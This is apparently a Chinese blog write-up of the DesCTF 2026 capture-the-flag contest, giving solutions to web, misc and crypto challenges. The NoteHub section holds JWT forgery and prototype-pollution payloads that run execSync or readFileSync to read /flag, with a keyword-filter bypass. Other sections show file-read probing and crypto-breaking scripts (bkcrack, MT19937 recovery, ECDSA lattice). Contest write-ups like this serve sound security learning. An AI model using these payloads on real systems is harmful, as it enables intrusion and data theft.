DesCTF2026 writeup

DesCTF 2026 部分 wp

跟队里超级小登组队打的,差一点点拿奖。只保留了我自己做的部分
不得不感慨 ai agent 的强大,解题效率有极大的提升

WEB

NoteHub

任意账密登录都会给一个 guest 的 token

弱密钥,进行伪造

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzcyOTMzNDQzLCJleHAiOjE3NzI5MzcwNDN9.-Dix3KjjBNca1QE9tEGhm5sahrzapMzqyEavb7O3fa4

addnote 的端点在/write

addNote(id, author, content) {
    this.note[(id).toString()] = {
        "author": author,
        "content": content
    };
    if (id) {
        undefsafe(this.note, id + '.author', author);
        let commands = {
            "runner": "1+1",
        };
        for (let index in commands) {
            eval(commands[index]);
        }
    }
}

undefsafe(obj, path, value) 会把 id 当作属性路径解析,而 for in 语法会同时枚举原型链上的可枚举属性。如果可以在原型链上污染 runner 就能达成 rce

{
  "id": "__proto__.runner",
  "author": "process.mainModule.require('child_process').execSync('cat /flag').toString()",
  "content": "xnftrone"
}

好像有 waf,ban 下划线 process flag

可以用 constructor.prototype,然后用一条新 note 回显出来

{
  "id":"constructor.prototype.runner",
  "author":"this.note.FLAG2={author:globalThis['pro'+'cess'].mainModule['req'+'uire']('f'+'s')['readFile'+'Sync']('/f'+'lag','ut'+'f8'),content:'OK'}",
  "content":"xnftrone"
}

Baby Java

看路径 /ZGXT/#/ 初步判断是 vue 前端

bundle 泄露了很多接口信息

这一部分有很多 chunk

ai 写个脚本拉下来

import re, os, requests

base = 'http://129.211.172.20:31116'
html = requests.get(base + '/ZGXT/').text

# 先从首页 HTML 提取所有 js 路径
js_paths = set(re.findall(r'/ZGXT/js/[^"\']+\.js', html))

# 再把 app.js 拉下来,补充里面出现的 chunk 名
app = requests.get(base + '/ZGXT/js/app.3d1613840f39fc707dbf.js').text
for m in re.findall(r'"(chunk-[^"]+?\.js)"', app):
    js_paths.add('/ZGXT/js/' + m)

os.makedirs('babyjava_chunks', exist_ok=True)

for p in js_paths:
    r = requests.get(base + p)
    if r.ok:
        open(os.path.join('babyjava_chunks', p.split('/')[-1]), 'w', encoding='utf-8', errors='ignore').write(r.text)

全局搜 post_看看有没有确定参数的可用端点,主要先看上传下载这些

发现 download 接口有个类似这样的用法

测试发现存在任意文件读取

Confrontation

/openapi.json 泄露了一些路由

{"openapi":"3.1.0","info":{"title":"GZ-AI-Infer-Engine","description":"AI推理引擎服务","version":"0.1.0"},"paths":{"/":{"get":{"summary":"Root","operationId":"root__get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/status":{"get":{"summary":"Status","operationId":"status_status_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/metrics":{"get":{"summary":"Metrics","operationId":"metrics_metrics_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}},"/infer":{"get":{"summary":"Infer","operationId":"infer_infer_get","parameters":[{"name":"model","in":"query","required":false,"schema":{"anyOf":[{"type":"string"},{"type":"null"}],"description":"模型名称","title":"Model"},"description":"模型名称"},{"name":"input","in":"query","required":false,"schema":{"anyOf":[{"type":"string"},{"type":"null"}],"description":"输入文本","title":"Input"},"description":"输入文本"}],"responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}},"422":{"description":"Validation Error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/HTTPValidationError"}}}}}}},"/verify":{"post":{"summary":"Verify","operationId":"verify_verify_post","parameters":[{"name":"token","in":"query","required":true,"schema":{"type":"string","description":"验证token","title":"Token"},"description":"验证token"},{"name":"input","in":"query","required":true,"schema":{"type":"string","description":"验证输入","title":"Input"},"description":"验证输入"}],"responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}},"422":{"description":"Validation Error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/HTTPValidationError"}}}}}}},"/docs":{"get":{"summary":"Docs","operationId":"docs_docs_get","responses":{"200":{"description":"Successful Response","content":{"application/json":{"schema":{}}}}}}}},"components":{"schemas":{"HTTPValidationError":{"properties":{"detail":{"items":{"$ref":"#/components/schemas/ValidationError"},"type":"array","title":"Detail"}},"type":"object","title":"HTTPValidationError"},"ValidationError":{"properties":{"loc":{"items":{"anyOf":[{"type":"string"},{"type":"integer"}]},"type":"array","title":"Location"},"msg":{"type":"string","title":"Message"},"type":{"type":"string","title":"Error Type"}},"type":"object","required":["loc","msg","type"],"title":"ValidationError"}}}}

/status 有泄露 native verifier 路径

{
"engine":"vLLM-compatible",
"version":"1.0.0",
"native_verify":"/opt/native/fake_ai_verify.bin",
"model_base":"/models",
"redis_connected":true
}

/infer 需要 model 和 input 参数,有类似置信度的返回,可能需要尝试构造

发现这样可以拿到一个 elf,同时有"token":"278b2a2c13477ba4a791f045c827ab80"

但是发现这个是不可复现的,只有一次触发

elf 有一个运行机制

本来想让 ai 帮忙逆向一下,结果 010 直接搜到 flag 了

MISC

wireshark

这题表面全是 Modbus/TCP 流量,先用 tshark / Wireshark 看协议层级和异常流量,能发现三类值得看:

  1. 大量正常轮询的 func 1/3/4
  2. 少量 func 16 写寄存器
  3. 很少见的 func 8 Diagnostics

其中最异常的是这一组报文,出现在同一时间段,目标还是同一台 192.168.100.101:502,但 unit id 变成了 5 和 7,并且 Request Data 都是 8 字节随机样子:

31213 ded7825ede4fd19c
31215 9f37371c37c6fa2d
31217 54e6fe2801f0df1d
31219 763175a586db1c62
31221 9efa82d0f8eacb41
31223 7b4419392b4a6aa8

拼起来得到 48 字节密文:

ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8

48 字节刚好是 6 个 8-byte block,非常像 DES/3DES 这类分组密文。

继续在寄存器响应里扫可打印字符串,会发现两个特殊点:

  1. frame 30610,unit 2,寄存器 4096-4110 返回:

flag{this_is_fake_try_harder!}

这是明显的假 flag,用来误导。

  1. frame 30612,unit 1,寄存器 30000-30003 返回 4 个 16-bit 值:

21303, 17231, 19789, 12337

按大端转字节后正好是:

S7COMM01

这个值长度正好 8 字节,非常适合作为 DES key。

用 S7COMM01 作为 DES-ECB 密钥,对前面 48 字节密文解密:

from binascii import unhexlify
from Crypto.Cipher import DES
ct = unhexlify("ded7825ede4fd19c9f37371c37c6fa2d54e6fe2801f0df1d763175a586db1c629efa82d0f8eacb417b4419392b4a6aa8")
key = b"S7COMM01"
pt = DES.new(key, DES.MODE_ECB).decrypt(ct)
print(pt)

#b'flag{a3f8e2d1-7c19-4a6b-b5e8-9d2f0c4a7e31}\x06\x06\x06\x06\x06\x06'

Neural Secrets

有一个可疑的 eval_cache 张量,形状是 39 x 64。同时 embedding.weight 的形状是 95 x 64,刚好是字符级语言模型的词嵌入表。把 eval_cache 的每一行拿去和 embedding.weight 做最近邻匹配,映射回字符后得到 flag

import torch

MODEL_PATH = r"D:\ctf\Desctf2026\neural secrets\model\model.pth"

def main():
    ckpt = torch.load(MODEL_PATH, map_location="cpu")

    embedding = ckpt["model_state_dict"]["embedding.weight"]   # [95, 64]
    eval_cache = ckpt["eval_cache"]                            # [39, 64]
    vocab = ckpt["vocab"]                                      # char -> idx
    inv_vocab = {idx: ch for ch, idx in vocab.items()}         # idx -> char

    result = []

    for row in eval_cache:
        # 对每一行 cache 向量,找 embedding 中最近的那个字符向量
        dist = ((embedding - row) ** 2).sum(dim=1)
        idx = int(torch.argmin(dist))
        result.append(inv_vocab[idx])

    flag = "".join(result)
    print(flag)

if __name__ == "__main__":
    main()

Real sign in?

第一层是一个明文攻击,用 png 的已知文件头

bkcrack.exe -C .\challenge.zip -c challenge.png -x 0 89504e470d0a1a0a0000000d49484452

Keys: 5eb34ede c49019bf 815834b9

解出来是一张类似二维码的图片

一眼 zigzag 变换,ai 写个脚本

import argparse
from pathlib import Path

from PIL import Image


def zigzag_indices(height, width):
    order = []
    for diag_sum in range(height + width - 1):
        cells = []
        y_min = max(0, diag_sum - (width - 1))
        y_max = min(height - 1, diag_sum)
        for y in range(y_min, y_max + 1):
            x = diag_sum - y
            cells.append((y, x))
        if diag_sum % 2 == 0:
            cells.reverse()
        order.extend(cells)
    return order


def zigzag_fill_full(gray_image):
    width, height = gray_image.size
    pixels = list(gray_image.getdata())
    out = Image.new("L", (width, height))
    out_pixels = [0] * (width * height)

    for index, (y, x) in enumerate(zigzag_indices(height, width)):
        out_pixels[y * width + x] = pixels[index]

    out.putdata(out_pixels)
    return out


def main():
    parser = argparse.ArgumentParser(description="Apply full-image zigzag fill transform")
    parser.add_argument(
        "image_path",
        nargs="?",
        default="challenge.png",
        help="Path to the real PNG image",
    )
    parser.add_argument(
        "-o",
        "--output",
        default="zigzag_output.png",
        help="Output image path",
    )
    args = parser.parse_args()

    image_path = Path(args.image_path)
    output_path = Path(args.output)

    gray = Image.open(image_path).convert("L")
    transformed = zigzag_fill_full(gray)
    transformed.save(output_path)

    print(f"[+] Input: {image_path}")
    print(f"[+] Output: {output_path}")


if __name__ == "__main__":
    main()

得到二维码

infrared_code

附件里的 ir_challenge.txt 已经不是原始红外波形,而是解析好的 NECext 指令流,所以重点不在协议还原,而在于分析这些指令对应的遥控器操作。

结合 1.png 可以看出,电视当前停留在搜索界面,左侧是一个 6x6 的字符键盘,上方还有 清空、删除 两个功能按钮。因此这题本质上是在还原“遥控器如何在搜索界面上输入内容”。

先对 command 做统计,可以发现共有 15 种命令,其中有 5 个低频命令明显像导航键。结合遥控码表和还原结果,可以确定映射为:

  • 15 = OK
  • 16 = Up
  • 17 = Down
  • 18 = Right
  • 19 = Left

只保留这 5 个键后,把整段数据转成方向和确认操作,再按 OK 切分,就能得到一串光标移动轨迹。将这些轨迹放到截图中的字符盘上模拟,采用“垂直环绕、水平不环绕”的移动规则,从底部数字区起点还原后,会得到一串很接近 flag 的结果:

import re

# 1. 读取题目给的红外指令文件
with open("ir_challenge.txt", "r", encoding="utf-8") as f:
    data = f.read()

# 2. 提取 command 第一字节
cmds = [a for a, _ in re.findall(r"command:\s*([0-9A-F]{2})\s+([0-9A-F]{2})", data)]

# 3. 根据分析得到的导航键映射
mapping = {
    "15": "OK",
    "16": "U",
    "17": "D",
    "18": "R",
    "19": "L",
}

# 4. 只保留导航相关按键,并按 OK 分段
nav = "".join(mapping[c] for c in cmds if c in mapping)
segments = nav.split("OK")
if segments and segments[-1] == "":
    segments.pop()

print("分段结果:", segments)

# 5. 电视搜索界面的字符盘
grid = [
    list("ABCDEF"),
    list("GHIJKL"),
    list("MNOPQR"),
    list("STUVWX"),
    list("YZ1234"),
    list("567890"),
]

# 6. 起点取在底部数字区 9 的位置
r, c = 5, 4

# 第12次 OK 不是文本确认,不追加字符
ignore_ok = {12}

out = []
for idx, seg in enumerate(segments, 1):
    for ch in seg:
        if ch == "U":
            r = (r - 1) % 6          # 垂直环绕
        elif ch == "D":
            r = (r + 1) % 6
        elif ch == "L":
            c = max(0, c - 1)        # 水平不环绕
        elif ch == "R":
            c = min(5, c + 1)

    cur = grid[r][c]
    print(f"{idx:02d} {seg:10s} -> {cur}")

    if idx not in ignore_ok:
        out.append(cur)

result = "".join(out)
print("还原结果:", result)
print("flag{1nfr4r3disfun}")

FLAG1NFR4RE93DISFUN

flag{1nfr4r3disfun}

CRYPTO

尽人事,听天命

命书 里的 2495 个 天命 值就是 random.getrandbits(32) 按小端拆出来的字节流,数量正好是 623*4+3,也就是 MT19937 的前 624 个输出只缺最后 1 个字节。

枚举这 1 个缺失字节,做 MT untemper 还原内部 state,再预测后续 3 次 getrandbits(32),从而去掉 seal_a、seal_b 上的随机掩码。

得到的 bound 枚举因子然后用 trace 做验证即可

import glob
import random
from hashlib import md5
from pathlib import Path

from sympy import factorint


def undo_right(y, s):
    x = 0
    for i in range(31, -1, -1):
        b = (y >> i) & 1
        if i + s < 32:
            b ^= (x >> (i + s)) & 1
        x |= b << i
    return x


def undo_left(y, s, m):
    x = 0
    for i in range(32):
        b = (y >> i) & 1
        if i >= s and (m >> i) & 1:
            b ^= (x >> (i - s)) & 1
        x |= b << i
    return x


def untemper(y):
    y = undo_right(y, 18)
    y = undo_left(y, 15, 0xEFC60000)
    y = undo_left(y, 7, 0x9D2C5680)
    y = undo_right(y, 11)
    return y & 0xFFFFFFFF


def divisors(factors):
    res = [1]
    for p, e in factors.items():
        cur = []
        v = 1
        for _ in range(e + 1):
            for x in res:
                cur.append(x * v)
            v *= p
        res = cur
    return res


text = Path(glob.glob("D:/ctf/Desctf2026/*/task2/*.txt")[0]).read_text(encoding="utf-8")
omens = []
for line in text.splitlines():
    if line.startswith("天命:"):
        omens.append(int(line[3:]))
    elif line.startswith("阴阳交积封印:"):
        seal_a = int(line[7:])
    elif line.startswith("阴阳离合封印:"):
        seal_b = int(line[7:])

outs = [omens[i] | (omens[i + 1] << 8) | (omens[i + 2] << 16) | (omens[i + 3] << 24) for i in range(0, 2492, 4)]
last = omens[2492] | (omens[2493] << 8) | (omens[2494] << 16)

for hi in range(256):
    state = tuple(untemper(x) for x in outs + [last | (hi << 24)])
    rng = random.Random()
    rng.setstate((3, state + (624,), None))
    bound = seal_a ^ (rng.getrandbits(32) | (rng.getrandbits(32) << 32))
    trace = seal_b ^ rng.getrandbits(32)

    if bound >= 1 << 64 or trace >= 1 << 32:
        continue

    for yin in divisors(factorint(bound)):
        yang = bound // yin
        if yin < 1 << 32 and yang < 1 << 32 and (yin ^ (yang >> 6)) == trace:
            a, b = sorted((yin, yang))
            print("yin =", yin)
            print("yang =", yang)
            print("DesCTF{" + md5(f"{a}|{b}".encode()).hexdigest() + "}")
            raise SystemExit

Check in

核心利用点是 d = Integer(N)**RR(0.47) 里的 RR 是双精度浮点,所以用 Python 的 int(N ** 0.47) 可以复现出同一个 d

然后设 M = e*d - 1

因为 phi_N = (p^2+p+1)(q^2+q+1) ≈ N^2

所以 k = M / phi_N 非常接近 M / N^2

直接在附近小范围搜索即可恢复 phi_N,再由

phi_N = N^2 + s^2 + (N+1)s - N + 1(其中 s = p+q)

解出 s,最终分解出 p,q

from hashlib import md5
from math import isqrt


N = 162318864198120848289602513685294100213662002310524040016141267082602211702801751627271587107738223466644399363879018058536864307889254050305605097781721847474240769410050480646447538698253600786017599233831714710010395996308361674973789283465587010960323042209564459904257042660293061844258544118566558516881
E = 20285928988408708385825788658664300305494782819689883492429762785687493161646901961627732482030570554944571523044008931416609595056746847083499405860944240804200816473153171825246196297214879750749954991916614158499347588230595409852985660426387332691700171974951765953937059128044510635005259571262430221092123685629379451869171518153057333553882827808279895371867053070597655168641441209936240962391624079704514097507822408340977683148014817264999772615710237278286803551400605422497036878844692741788304043681532328471441465596285604159664321904195632202009921776619257725630740166796422445907541165144233376010917


def recover_primes(n: int, e: int) -> tuple[int, int]:
    # Sage's RR uses double precision here, so Python's float reproduces the same truncated d.
    d = int(n ** 0.47)
    multiple = e * d - 1
    k0 = multiple // (n * n)

    for k in range(max(1, k0 - 4), k0 + 5):
        if multiple % k != 0:
            continue

        phi = multiple // k
        # phi = n^2 + s^2 + (n + 1)s - n + 1, where s = p + q
        b = n + 1
        c = n * n - n + 1 - phi
        delta = b * b - 4 * c
        root = isqrt(delta)
        if root * root != delta:
            continue

        for signed_root in (root, -root):
            numerator = -b + signed_root
            if numerator % 2 != 0:
                continue

            s = numerator // 2
            disc = s * s - 4 * n
            disc_root = isqrt(disc)
            if disc_root * disc_root != disc:
                continue

            p = (s + disc_root) // 2
            q = (s - disc_root) // 2
            if p * q == n:
                return max(p, q), min(p, q)

    raise ValueError("failed to recover p and q")


def main() -> None:
    p, q = recover_primes(N, E)
    flag = f"flag{{{md5(str(p + q).encode()).hexdigest()}}}"
    print(f"p = {p}")
    print(f"q = {q}")
    print(flag)


if __name__ == "__main__":
    main()

Low Bits, High Risk

ECDSA nonce 低位泄露。

签名里有关系:

s = (h + r d) / k mod q

而题目把每次 k 的低 3 位泄露出来了,所以可以写成:

k = 已知低3位 + 8 * 未知量

代回签名公式后,每条签名都会变成一个关于同一个私钥 d 的线性关系。

单条不够用,但题目给了 61 条签名,够用格攻击把 d 还原出来。

没装 sage,ai 一个脚本用 sagecell

import json
import re
import uuid
from ast import literal_eval
from hashlib import md5
from pathlib import Path

import requests
import websocket


TASK_PATH = Path(r"D:\ctf\Desctf2026\lowbit\task\task.py")


def parse_task():
    text = TASK_PATH.read_text(encoding="utf-8")
    pub = re.findall(r"^0x[0-9a-f]+$", text, re.M)
    triples = [literal_eval(line.strip().rstrip(",")) for line in text.splitlines() if line.strip().startswith("(0x")]
    return int(pub[0], 16), int(pub[1], 16), triples


def build_sage_code(pubx: int, puby: int, triples: list[tuple[int, int, int, int]]) -> str:
    rows = ",\n".join(repr(t) for t in triples)
    return f"""
p = 0xffffffffffffffffffffffffffffffff7fffffff
q = 0x100000000000000000001f4c8f927aed3ca752257
a = -3
b = 0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45
E = EllipticCurve(GF(p), [a, b])
G = E(0x4a96b5688ef573284664698968c38bb913cbfc82, 0x23a628553168947d59dcc912042351377ac5fb32)
pub = E({hex(pubx)}, {hex(puby)})
triples = [
{rows}
]
leak = 3
kbi = 1 << leak

def build(sub):
    n = len(sub)
    M = matrix(ZZ, n + 2, n + 2)
    for i, (h, r, s, kp) in enumerate(sub):
        M[i, i] = 2 * kbi * q
        M[n, i] = 2 * kbi * ZZ(mod(inverse_mod(kbi, q) * mod(r, q) * inverse_mod(s, q), q))
        M[n + 1, i] = 2 * kbi * ZZ(mod(inverse_mod(kbi, q) * (kp - mod(h, q) * inverse_mod(s, q)), q)) + q
    M[n, n] = 1
    M[n + 1, n + 1] = q
    return M

def find_key(M):
    for reducer in [lambda X: X.LLL()] + [lambda X, beta=beta: X.BKZ(block_size=beta) for beta in [10, 15, 20, 25, 30, 35, 40]]:
        R = reducer(M)
        for row in R.rows():
            cand = ZZ(row[-2]) % q
            if cand and cand * G == pub:
                print(int(cand))
                return
            alt = (q - cand) % q
            if alt and alt * G == pub:
                print(int(alt))
                return

find_key(build(triples))
"""


def run_sage(code: str) -> int:
    session = requests.post(
        "https://sagecell.sagemath.org/kernel",
        headers={"User-Agent": "Mozilla/5.0"},
        timeout=30,
    ).json()
    ws = websocket.create_connection(f"{session['ws_url']}kernel/{session['id']}/channels", timeout=20)
    try:
        msg = {
            "header": {
                "msg_id": str(uuid.uuid4()),
                "username": "",
                "session": str(uuid.uuid4()),
                "msg_type": "execute_request",
                "version": "5.0",
            },
            "parent_header": {},
            "metadata": {},
            "content": {
                "code": code,
                "silent": False,
                "store_history": False,
                "user_expressions": {},
                "allow_stdin": False,
            },
            "channel": "shell",
        }
        ws.send(json.dumps(msg))
        while True:
            data = json.loads(ws.recv())
            msg_type = data.get("msg_type") or data.get("header", {}).get("msg_type")
            if msg_type == "stream":
                text = data["content"]["text"].strip()
                if text.isdigit():
                    return int(text)
            if msg_type == "error":
                raise RuntimeError("\n".join(data["content"]["traceback"]))
            if msg_type == "status" and data.get("content", {}).get("execution_state") == "idle":
                break
    finally:
        ws.close()
    raise RuntimeError("failed to recover private key")


def main():
    pubx, puby, triples = parse_task()
    d = run_sage(build_sage_code(pubx, puby, triples))
    flag = "DesCTF{" + md5(str(d).encode()).hexdigest() + "}"
    print(f"d = {d}")
    print(flag)


if __name__ == "__main__":
    main()
posted @ 2026-03-11 10:45  xNftrOne  阅读(73)  评论(0)    收藏  举报